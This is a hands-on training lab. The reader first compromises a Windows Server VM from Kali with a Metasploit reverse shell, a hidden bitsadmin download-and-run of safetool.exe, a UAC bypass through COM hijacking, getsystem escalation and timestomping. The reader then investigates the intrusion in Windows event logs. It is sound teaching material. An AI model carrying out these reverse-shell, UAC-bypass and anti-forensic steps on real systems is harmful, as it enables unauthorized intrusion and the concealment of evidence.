Lab - Performing and Detecting Privilege Escalation


Scenario

In this lab, you will perform an intrusion, including privilege escalation, then investigate the result.

As a cybersecurity analyst, you are working to discover weaknesses and vulnerabilities that your organization, Structureality Inc., needs to mitigate throughout its internal network. In this lab, you will establish a reverse shell between Kali and MS10, perform privilege escalation, then perform a few post-exploitation activities, such as altering the time stamps of a file and creating a file with a secret message. Then, you will perform an investigation of the intrusion to gather evidence and recognize IoCs related to privilege escalation and file manipulation.

Understand your environment

You will be working from a virtual machine named KALI, hosting Kali Linux, and a virtual machine named MS10, hosting Windows Server 2016. You will initially use KALI as an attack platform to compromise MS10, and then you will work from MS10 to investigate the intrusion.

Privilege Escalation

The overall focus of this lab is to detect the activities related to privilege escalation. However, it is often important to understand how a privilege escalation attack is performed to know how to detect its occurrence and IoCs. In this first exercise, you will work through several of the initial stages of the Cyber Kill Chain: Weaponization, Delivery, Exploitation, Installation, and Command and Control (C2). The activities of this exercise will include establishing an initial reverse shell, establishing a second reverse shell to a superior privileged process, then performing privilege escalation.

The initial Cyber Kill Chain phase of Reconnaissance is not present in this exercise as the target has already been selected, and a vulnerability has been discovered, which will be exploited in this exercise.

  1. Connect to the KALI and sign in as root using **Pa$$w0rd** as the password.

  2. Open a Terminal window by selecting the Terminal Emulator from the Kali Linux toolbar (located at the top of the screen by default). This icon looks like a black computer screen with a cursor.

  3. Maximize the Terminal window.

  4. Enter cat exploit-reverse_tcp.sh

    This script generates the safetool exploit using msvenom, starts the Apache web service, creates the reverse_tcp.rc script (which configures MSFconsole as a reverse shell listener), then executes msfconsole with reverse_tcp.rc. This pre-written script uses common exploit techniques to initiate a reverse shell connection from MS10 to Kali.

    This script was created in order to streamline the process of re-establishing a reverse shell from MS10 back to Kali. However, not all of the steps are easy to automate, so there are still plenty of commands for you to enter.

  5. Enter ./exploit-reverse_tcp.sh

    This command will take up to 20 seconds before any output is produced, then maybe another 30 seconds for the commands to fully execute. Once the script is complete, you should see the message: “Started reverse TCP handler on 10.1.16.66:4444”. Wait for this message before continuing.

    Select the Score button to validate this task:

  6. Switch to the MS10 VM. Send Ctrl+Alt+Delete and sign in as Jaime using Pa$$w0rd as the password.

    You will be performing the actions of the MS10 user victim to establish a reverse shell session to Kali. This assumes a social engineering method is successful where the victim receives a phishing email with either a hyperlink or an attachment, resulting in exploit code being run. In this lab, you will run a script to trigger the initial exploit. This script is already positioned on the MS10 victim system as if the victim fell for the social engineering attack and opened an attachment. You are functioning as the victim by executing it.

  7. Minimize or close Server Manager if it appears. It will not be used in this lab.

    The event logs on MS10 are cleared at the start of this exercise through a boot script. Also, the TiWorker process is repeatedly terminated by a background script. This is a process associated with Windows Update, which pollutes the event logs with numerous errors since it is unable to access the Internet.

  8. Right-click Start and select Run. In the Run dialog, type C:\Users\jaime\Downloads\runme.bat and click OK.

    If prompted by an Open File - Security Warning window, select Run.

    This operation should download safetool.exe from Kali via HTTP, then execute safetool to initiate the reverse shell connection.

    This batch file automates the processes you performed as the victim in prior labs to initiate the reverse shell from MS10 to Kali. It uses the bitsadmin tool to download safetool.exe to the user’s Downloads folder and then execute it. In the batch file, the use of cmd /C start “NotHere” /B is an attempt to prevent the creation of a user-viewable Command Prompt window. However, the bitsadmin tool still opens a window to show the download’s progress. Fortunately, the subsequent execution of safetool.exe results in no user-visible window. Without these command elements, a Command Prompt window would remain open and visible to the user. This is one of many techniques used to obfuscate the actual activities of malicious code that a victim is tricked into executing.

  9. Minimize any open windows on MS10.

  10. Switch back to KALI and, if needed, sign in as root using Pa$$w0rd as the password.

  11. Within the Terminal window, the MSFConsole should show that a meterpreter session has been established. You should see a prompt of meterpreter >.

  12. Enter sysinfo to view details about the compromised system.

  13. Notice the Computer name of MS10.

    This confirms that you have established a remote shell connection to MS10.

  14. Enter getuid to view the user account that established the remote session.

    What is the full name (including any domain/group/workgroup designation) user context under which your current meterpreter session operates?

  15. Enter getsystem to attempt to privilege escalate to SYSTEM privileges.

    There are two types of privilege escalation:

    • Horizontal - an attacker expands their privileges by taking over another account and misusing the legitimate privileges granted to the other user, typically through social engineering.
    • Vertical - an attacker attempts to gain more permissions or access with an existing account they have compromised, typically through OS or application exploitation.
  16. This will likely result in several lines of attempted escalation that will not succeed. They will all be preceded by ”[-]” which indicates the operation(s) failed.

    Due to these errors, you must perform an additional exploit against the system to privilege escalate and gain greater capabilities.

  17. Enter mkdir C:\HR\marked1 to create a folder and mark the system that you have compromised.

    This command requires the use of double backslashes. Otherwise, the meterpreter will drop any single backslashes.

    Case often matters when working from Linux, so match the case presented in the instructions exactly.

    Select the Score button to validate this task.

    The creation of a folder at this stage marks the progress of the intrusion. It represents tasks performed by an attacker before they are able to escalate privilege.

  18. Enter background to jump out of the connected session while preserving it to return to later and return to the MSF console prompt.

  19. Enter sessions to view the currently established sessions.

    Notice the session to MS10 is listed with an Id of 1.

  20. Enter search uac to display a list of exploits that may bypass the User Account Control (UAC) mechanism of windows.

    Notice there are many options to choose from. However, success depends upon the specific OS version of the target, whether a particular patch is installed, whether a specific patch is not installed, or if one particular third-party application, service, or driver is present. As a result, you can often spend hours trying options until you find one that works. In this exercise, you will be using the bypassuac_comhijack exploit.

  21. Enter use exploit/windows/local/bypassuac_comhijack

    You could use the command use 9 if the desired option is listed as item #9. You can also use info 9 to display details about the exploit before attempting to use it.

  22. Enter info to view the detailed description of the exploit. You may need to scroll up to view all of the information.

    It is worth reviewing the details of an exploit before configuring it and running it because it might not be the appropriate tool for the target. It is better to discover this before setting up the wrong exploit.

    If you decide that an exploit is not what you want to continue working with, you can use the command back to step out of the exploit and back into the top-level “msf6 >” prompt.

  23. Enter show options to see the various option settings. Necessary items are indicated by a yes value in the Required column.

  24. Enter the following command to ensure the x64 version of the payload will be used with the x64 target of MS10.

    Type

    set payload windows/x64/meterpreter/reverse_tcp

    This command changes the default payload to one that is more appropriate for the target (i.e., a 64-bit Windows OS).

  25. If LHOST is not already set correctly, enter set LHOST 10.1.16.66

  26. Enter set LPORT 4445. This is to select a new/different port than the one already in use by the established session with MS10.

    Changing the port is important to avoid losing the original connection. If the elevated connection fails (which it can do at any time), you can re-establish it from the original session. Otherwise, you would need to have the victim re-run the exploit runme.bat.

  27. Enter set session 1

    This assumes the established session to MS10 is session #1. Otherwise, use the session number you were shown. If you don’t remember, use the command sessions to view the established sessions.

    Watch out for the exact spelling. The command to view the session list is plural: sessions, while the command to set the option value to define which session to use is singular: set session.

  28. Enter show options to check that you defined the values correctly.

    If LHOST, LPORT, or SESSION are not correct, type in the appropriate set command again.

  29. Enter exploit to attempt to compromise the UAC of the target MS10 system.

  30. You should see several lines of information indicating the exploit’s progress. The output shown should be similar to:

    [*] Started reverse TCP handler on 10.1.16.66:4445 
    [*] Running automatic check ("set AutoCheck false" to disable) 
    [+] The target appears to be vulnerable 
    [*] UAC is Enabled, checking level ... 
    [+] Part of Administrators group! Continuing ... 
    [+] UAC is set to Default 
    [+] BypassUAC can bypass this setting, continuing ... 
    [*] Targeting Event Viewer via HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931} ... 
    [*] Uploading payload to C:\Users\jaime\AppData\Local\Temp\1\rAuBJFol.dll ... [*] Executing high integrity progress C:\Windows\System32\eventvwr.exe 
    [*] Sending stage (200744 bytes) to 10.1.16.1 
    [*] Cleaning up registry; this can take some time ...
    
  31. Wait about 30 seconds before continuing. The exploit may complete quickly, but it may take longer. However, the UAC bypass should already be implemented successfully. The delay is related to the cleanup process attempting to remove evidence of the exploit.

  32. If the UAC exploit is successful, you will be presented with the meterpreter > prompt.

    Expand this hint for guidance if you do not receive a meterpreter > prompt after 30 seconds.

    1. Press the keyboard combination of CTRL+C. This should return you to the “msf6 exploit(windows/local/bypassuac_comhijack) >” prompt.

    2. Enter sessions

    3. You should see a new session established over local port 4445.

    4. Enter sessions -i 2 to connect to that session.

    If the new session is assigned a different number than 2, then use the number from your displayed list of sessions.

    1. You should now be at the meterpreter > prompt on MS10.
  33. Enter getuid to view the user account that established the remote session.

    Notice that you are still connected as jaime.

  34. Enter getsystem

    You may see numerous statements of “from /usr/share/metasploit-framework/…”. But the final statement should be ”… got system via technique 1…”.

  35. Enter getuid to confirm that you are now operating under the privileged context of NT AUTHORITY/SYSTEM.

  36. Enter mkdir C:\HR\marked2 to create a folder and mark the system that you have compromised.

    This command requires the use of double backslashes. Otherwise, the meterpreter will drop any single backslashes.

    The creation of a folder at this stage marks the progress of the intrusion. It represents tasks performed by an attacker after they are able to escalate privilege.

    Select the Score button to validate this task.

You have performed privilege escalation to achieve full capabilities and privileges on a Windows target.

Post-escalation activities

In this exercise, you will continue to work through the final stages of the Cyber Kill Chain: Actions and objectives. Now that you have obtained an escalated privilege reverse shell session, you will take advantage of that power by performing a few post-escalation activities.

  1. Enter help to view a list of commands available through meterpreter.

    Most of the commands listed through help should be usable with the current version of meterpreter and with system-level privileges. However, there are still some instances where some operations will fail or require other exploits to be used to gain sufficient capabilities to operate successfully.

    If you lose your meterpreter connection to MS10, you may need to repeat the UAC compromise from the previous exercise. Likely the session number will change, and you will need to repeat the getsystem operation to escalate privileges to SYSTEM. Losing a meterpreter session is possible because it was established by exploiting a Windows system element. Ongoing Windows system management processes may interrupt/break the session. So, be prepared to re-establish it if/when necessary.

  2. Enter the following commands in order. You should initially be in the directory C:\Windows\System32.

    Type

    pwd cd .. cd .. dir cd HR pwd ls

    If you do not end up at the root of C: (i.e., C:) when you use dir command, then use another cd .. and check again before proceeding into the C:\HR folder.

    While using meterpreter’s shell on the victim, you can use commands supported by either Linux or windows, such as ls and dir.

    Notice the presence of the marked1 and marked2 folders.

    The cd command includes a space before the double periods. It will show an error if you fail to include the space.

  3. You should now be in the C:\HR folder and viewing the files it contains. Notice the current time and date on the EMPLOYEES.csv file.

  4. Enter timestomp EMPLOYEES.csv -z “04/01/1992 12:34:56” to alter the MACE (Modified, Accessed, Created, and Entry Modified) times on a file.

  5. Enter timestomp EMPLOYEES.csv -v to view the new MACE times on a file.

    Select the Score button to validate this task:

    It is common for the time zones used by the victim (i.e., MS10) and Metasploit’s meterpreter to be different. In this exercise, they are off by 1 hour.

  6. Enter edit important.txt to create a file in the C:\HR folder on MS10.

    This command opens vim to create and edit the file.

  7. Press i to enter Insert mode.

  8. Type Hacked!

  9. Once finished, press ESC to exit insert mode.

    Pressing ESC may cause your browser to exit full-screen mode. If that occurs, press ESC a second time to exit VIM’s insert mode. Then, you can re-enable full-screen mode from the Display lab interface menu.

  10. Enter :wq to save and quit VIM.

  11. Enter ls to view the folder contents.

  12. Enter cat important.txt to view the contents of the file.

  13. To terminate the current meterpreter session, enter exit

  14. To exit the current exploit, enter back

  15. You are now at the msf6 > prompt.

  16. Enter sessions -K to terminate all sessions.

Now that you have breached the target of MS10, performed privilege escalation, and accomplished a few malicious post-exploit activities, you will switch to the victim system to look for evidence of the violation.

Discover IoCs of intrusion and privilege escalation

Now, you will be switching from playing the role of the attacker to that of a cybersecurity analyst. For this exercise, assume an HR worker reported the existence of strange files and folders within C:\HR, which they find concerning. As the cybersecurity analyst, you are tasked with investigating the issue. You seek to discover evidence related to the file system anomalies and track down the root cause. In this exercise, you will first examine the MS10 system where the file and folder issues are reported to have occurred on. Then, then you will use the information gathered from the file system to locate evidence and IoCs within the logs of the system using the Event Viewer.

Direct evidence of privilege escalation is unlikely. The exact means by which it is performed is typically through a system vulnerability, which by its very nature, will not be logged. However, once an intrusion is successful and the attacker performs privilege escalation, their subsequent activities are often much easier to detect.

  1. Switch to the MS10 VM. If needed, send Ctrl+Alt+Delete and sign in as Jaime using Pa$$w0rd as the password.

  2. Select Type here to search from the taskbar, type powershell, then right-click Windows PowerShell from the results, then select Run as administrator.

  3. Select Yes on the User Account Control window.

  4. Enter auditpol /clear into the Administrator: Windows PowerShell console, then confirm by entering y.

    This disables auditing on MS10 by clearing the audit policy. This command does not empty the existing audit logs. This command is used here to prevent the event logs from growing any larger. Otherwise, searching will take too long. You would not perform this step in a typical investigation. Instead, you would make backup copies of the logs to preserve evidence and work from copies of the logs for an investigation.

  5. Close the PowerShell console.

  6. Select Type here to search from the taskbar, type file, then select File Explorer from the results.

  7. Maximize the File Explore window.

  8. From the left pane, select Local Disk (C:), then double-click HR in the right pane.

  9. Locate the marked1 folder.

    Notice the Created: time in the Date modified column. Assume this time is outside of normal business hours - which makes its existence even more suspicious.

    The File Explorer display has a Date modified column which displays the created date and time for folders.

  10. Enter the created time of the marked1 folder in the text box below. Only include the one- or two-digit hours and the two-digit minutes in the format: H:MM or HH:MM.

    Creation time of marked1 

    Press Enter on your keyboard after you type in the value or click out of the text box.

    You will look for event log entries related to this unknown folder later in this exercise.

  11. Locate the marked2 folder.

    Notice the Created: time.

  12. Enter the created time of the marked2 folder in the text box below. Only include the one- or two-digit hours and the two-digit minutes in the format: H:MM or HH:MM.

    Creation time of marked2 

    Press Enter on your keyboard after you type in the value or click out of the text box.

    You will look for event log entries related to this unknown folder later in this exercise.

  13. The next concern is the existence of the file important. Notice that this file is a text file (from the Type column) and was created at nearly the same time as the suspicious folders.

    File Explorer does not display known file extensions by default.

  14. Double-click the important file to view its contents in Notepad (the default text file editor).

    Notice the contents of the text file is the word “Hacked!”.

  15. Close Notepad.

    You will look for event log entries related to this file later in this exercise.

  16. You notice the timestamp on the EMPLOYEES.csv file. Right-click the EMPLOYEES.csv file, then select Properties.

    It is common for the time zones used by the victim (i.e., MS10) and Metasploit’s meterpreter to be different. In this exercise, they are off by 1 hour.

    What are the MAC date and time values shown for the EMPLOYEES.csv file:?

    April 1, 1992 12:34:56

    April 1, 1992 1:34:56

    April 11, 1929 12:34:56

    April 1, 1999 13:34:56

    This is obviously a modification made by an intruder. This is another concern you will be looking for in the event log.

  17. Select Type here to search from the taskbar, type event, then select Event Viewer from the results.

  18. Maximize the Event Viewer window.

  19. In the left pane, select the arrow beside Windows Logs to expand its contents.

  20. Select the Security log.

    Finding the individual entries that relate to the activities you just performed from Kali will be challenging if you don’t know specific keywords or IoCs to look for. In this exercise, you will use the file and folder names from the C:\HR\ folder to guide your investigation.

  21. Select the most recent event at the top of the Security log since the Find function only searches down into the past.

  22. Select Find… from the right pane.

  23. On the Find window, in the Find what: field, type marked1, then select Find Next.

  24. Once an event record is found, select Cancel to close the Find window.

    You can re-size the panes of the Event Viewer by using the click-hold-drag-release method on the division lines between panes. You may find that minimizing the left pane and reducing the top pane to view only 4 or 5 event records is helpful when viewing the details of the bottom-middle pane.

  25. An event record with an Event ID of 4656 will be selected by the Find feature. This event record relates to the creation of the C:\HR\marked1 folder.

    Notice that this event record has the same hour/minute time stamp as the marked1 folder you looked at through File Manager earlier, i.e., .

  26. Look at the information in the bottom pane on the General tab. Scroll through the General tab’s sub-window to view the Security IDAccount Name:Object Name:, and the Process Name: values.

    For this event record, what is the “Account Name:” associated with this event?

    Since you are jaime (or at least you are functioning as jaime in this scenario), you know that you did not create the folder C:\HR\marked1. However, the Process Name: indicates the context of the process that supported the creation of this folder, namely C:\Users\jaime\Downloads\safetool.exe. While you do remember executing the runme.bat, you don’t recognize the safetool.exe program. You suspect this is the exploit used by an attacker to gain access to MS10.

  27. Don’t change the selection from the current event record.

  28. Select Find… from the right pane.

  29. On the Find window, in the Find what: field, type safetool.exe, then select Find Next.

  30. Use the click-hold-drag-release method on the header of the Find window to move it so you can read the top line of the General tab’s sub-window.

  31. If the found event record does NOT have the first line in the General tab’s sub-window of “The Windows Filtering Platform has permitted a connection”, then select Find Next until you see that line.

  32. Select Cancel to close the Find window.

  33. Scroll through the General tab’s sub-window to view the Network Information section.

    This event record lists the details of the safetool.exe initiating an outbound connection from 10.1.16.2 (MS10) on a random source port to the destination of 10.1.16.66 on port 4444 (i.e., Kali). This destination is the attacker’s IP address.

    You have now confirmed that the safetool.exe is the malicious code that initiated the intrusion by establishing a reverse shell connection with an unknown external system.

  34. Press CTRL+HOME to return to the top of the event log, then select the top/first event record.

  35. Select Find… from the right pane.

  36. On the Find window, in the Find what: field, type marked2, then select Find Next.

  37. An event record with an Event ID of 4656 will be selected by the Find feature. This event record relates to the creation of the C:\HR\marked2 folder.

    Notice that this event record has the same hour/minute time stamp as the marked2 folder you looked at through File Manager earlier, i.e., .

  38. Look at the information in the bottom pane on the General tab. Scroll through the General tab’s sub-window to view the Security IDAccount Name:Object Name:Process ID, and Process Name: values.

    For this event record, what is the “Security ID:” associated with this event?

    This event record indicates that the context process for the folder creation was rundll32.exe. You suspect that the same person created both the marked1 and marked2 folders, but the second folder was created after they performed a privilege escalation.

  39. Enter the Process ID: value in the box below for the rundll32.exe process which was the context for the creation of the C:\HR\marked2 folder.

    rundll32.exe Process ID 

    Press Enter on your keyboard after you type in the value or click out of the text box.

  40. Don’t change the selection from the current event record.

  41. Select Find… from the right pane.

  42. On the Find window, in the Find what: field, type rundll32.exe, then select Find Next.

  43. Re-select Find Next again and again until the error window appears stating “Searching from the selected event to the end of the list, there is no event that contains the specified string. To search…”.

    This results in the chronologically first occurance of rundll32.exe in an event record being selected.

  44. Select OK to close the error message window, then select Cancel to close the Find window.

    Notice that is event shows that the jaime user account was used to implement a new process of rundll32.exe with a NULL SID value for the Security ID and of a Token Elevation Type of 1937 means an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled, and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.)

    more…

  45. Press the up arrow on your keyboard to change the event record selection focus to the next record up (i.e., the next recording in chronological forward order).

  46. Repeatly press the up arrow until you reach an event record with a first line in the General tab’s sub-window of “The Windows Filtering Platform has permitted a connection”.

  47. Scroll through the General tab’s sub-window to view the Network Information section.

    This event record lists the details of the rundll32.exe initiating an outbound connection from 10.1.16.2 (MS10) on a random source port to the destination of 10.1.16.66 on port 4445 (i.e., Kali). This second connection is likely related to privilege escalation activity. It is an example of an attempt to gain remote control through a process with higher privileges than the original process of safetool.exe which was limited to the user’s access level. The rundll32.exe process is often the trigger for the UAC system. You are aware of the UAC hijack attack and suspect this may have been the exploit used by the attacker.

  48. If you continue to view more event records forward in time (by pressing the up arrow), you should find a group of event records with an Event ID column value of 4703 and a Task Category of Token Right Adjusted Events. These should have the Process Name: of C:\Windows\System32\rundll32.exe.

    This collection of 4703 event records is evidence of the privilege escalation attack performed from the second established session by the rundll32.exe process when the attacker used the getsystem command. Notice the various Enabled Privileges: across these event records. The result is the session is assigned SYSTEM privileges.

  49. In the details of any of the 4703 event records, look at the Process ID: for rundll32.exe. Notice that this is the same Process ID: as the process that created the marked2 process (i.e., ).

  50. Press CTRL+HOME to return to the top of the event log, then select the top/first event record.

  51. Select Find… from the right pane.

  52. On the Find window, in the Find what: field, type EMPLOYEES, then select Find Next.

  53. Select Cancel to close the Find window.

  54. The first event record found will be the reading of the time attributes of the file after the change. Select *Find Next again to select the record where the time attributes were modified.

    In the General tab’s sub-window, in the Access Request Information: section, you should see both ReadAttributes and WriteAttributes. This is the record of when the changes were made to the MACE values of the file. Unfortunately, the logging system does not actually record the details of the change itself.

  55. Press CTRL+HOME to return to the top of the event log, then select the top/first event record.

  56. Select Find… from the right pane.

  57. On the Find window, in the Find what: field, type important, then select Find Next.

  58. Select Cancel to close the Find window.

  59. The first event record found will contain the WriteData event where the file was created, and its contents were defined.

You have collected evidence of an intrusion that included a privilege escalation event. You have gathered evidence about the malicious code that established the first reverse shell to the attacker’s system (i.e., safetool.exe), evidence about the second connection that led to a privilege escalation (i.e., rundll32.exe exploited likely through a UAC hijack vulnerability), evidence of the MACE time changes to the EMPLOYEES.csv file, and evidence related to the creation of the important.txt file.